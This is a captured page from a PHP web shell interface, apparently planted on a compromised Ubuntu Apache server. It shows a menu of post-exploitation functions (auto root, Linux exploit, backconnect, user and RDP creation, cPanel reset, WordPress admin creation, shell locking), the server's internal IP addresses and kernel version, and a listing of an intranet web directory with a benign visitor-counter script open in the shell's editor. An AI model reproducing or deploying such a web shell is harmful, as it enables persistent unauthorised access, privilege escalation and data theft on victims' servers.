Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
intranetpage /
[ HOME SHELL ]
Name
Size
Permission
Action
akamreports
[ DIR ]
drwxr-x--x
blog
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-x--x
ddc26testbkp22126
[ DIR ]
drwxr-xr-x
docs
[ DIR ]
drwxr-x--x
fonts
[ DIR ]
drwxr-x--x
iiitdinternaldocs
[ DIR ]
drwxr-x--x
images
[ DIR ]
drwxr-x--x
js
[ DIR ]
drwxr-x--x
about-us.html
17.75
KB
-rwxr-x--x
akamreports.html
10.99
KB
-rwxr-x--x
contact-us.html
15.05
KB
-rwxr-x--x
count.php
3.04
KB
-rw-r--r--
counter.html
757
B
-rw-r--r--
email.php
916
B
-rwxr-x--x
index-mtechdata.html
27.76
KB
-rwxr-x--x
index.html
42.47
KB
-rwxrwxrwx
newsletters.html
14.97
KB
-rwxr-x--x
services.html
13.42
KB
-rwxr-x--x
tea.html
20.76
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : count.php
<?php // index.php declare(strict_types=1); /** * Simple unique-IP page visit counter using a JSON file. * - Stores seen IPs (as keys) and timestamps (optional). * - Uses file locking (flock) to avoid race conditions. * - Counts unique IPs simply as number of stored IPs. */ // Path to storage file (make sure PHP can write here) $storageFile = __DIR__ . '/ips.json'; // Get the visitor IP (handles proxies lightly) function get_client_ip(): string { $keys = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR']; foreach ($keys as $k) { if (!empty($_SERVER[$k])) { // If X_FORWARDED_FOR contains multiple IPs, take the first one $ip = trim(explode(',', $_SERVER[$k])[0]); if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return '0.0.0.0'; } // Ensure storage exists and is valid JSON if (!file_exists($storageFile)) { file_put_contents($storageFile, json_encode(['ips' => new stdClass()], JSON_PRETTY_PRINT)); } // Read, update and write back with locking $ip = get_client_ip(); $updated = false; $uniqueCount = 0; $fp = fopen($storageFile, 'c+'); // open for read/write, create if not exists if ($fp === false) { die("Cannot open storage file."); } if (flock($fp, LOCK_EX)) { // read contents $contents = stream_get_contents($fp); if ($contents === false || trim($contents) === '') { $data = ['ips' => []]; } else { $data = json_decode($contents, true); if (!is_array($data) || !isset($data['ips']) || !is_array($data['ips'])) { $data = ['ips' => []]; } } // Add IP if not present if (!array_key_exists($ip, $data['ips'])) { $data['ips'][$ip] = date('c'); // store ISO timestamp (optional) $updated = true; } $uniqueCount = count($data['ips']); // write updated data back if changed if ($updated) { // rewind and truncate then write ftruncate($fp, 0); rewind($fp); fwrite($fp, json_encode($data, JSON_PRETTY_PRINT)); } fflush($fp); flock($fp, LOCK_UN); } else { // couldn't lock: best-effort read fallback $data = json_decode(file_get_contents($storageFile) ?: '{}', true); $uniqueCount = isset($data['ips']) && is_array($data['ips']) ? count($data['ips']) : 0; } fclose($fp); // Output the page and the unique count ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Unique IP Visit Counter</title> <style> body { font-family: Arial, sans-serif; padding: 2rem; } .box { background:#f7f7f7; padding:1rem 1.5rem; border-radius:8px; display:inline-block; } </style> </head> <body> <div class="box"> <h2>Unique Visits (by IP)</h2> <p><strong><?php echo htmlspecialchars((string)$uniqueCount, ENT_QUOTES); ?></strong> unique IP(s) have visited this page.</p> <p>Your detected IP: <code><?php echo htmlspecialchars($ip, ENT_QUOTES); ?></code></p> </div> </body> </html>
Close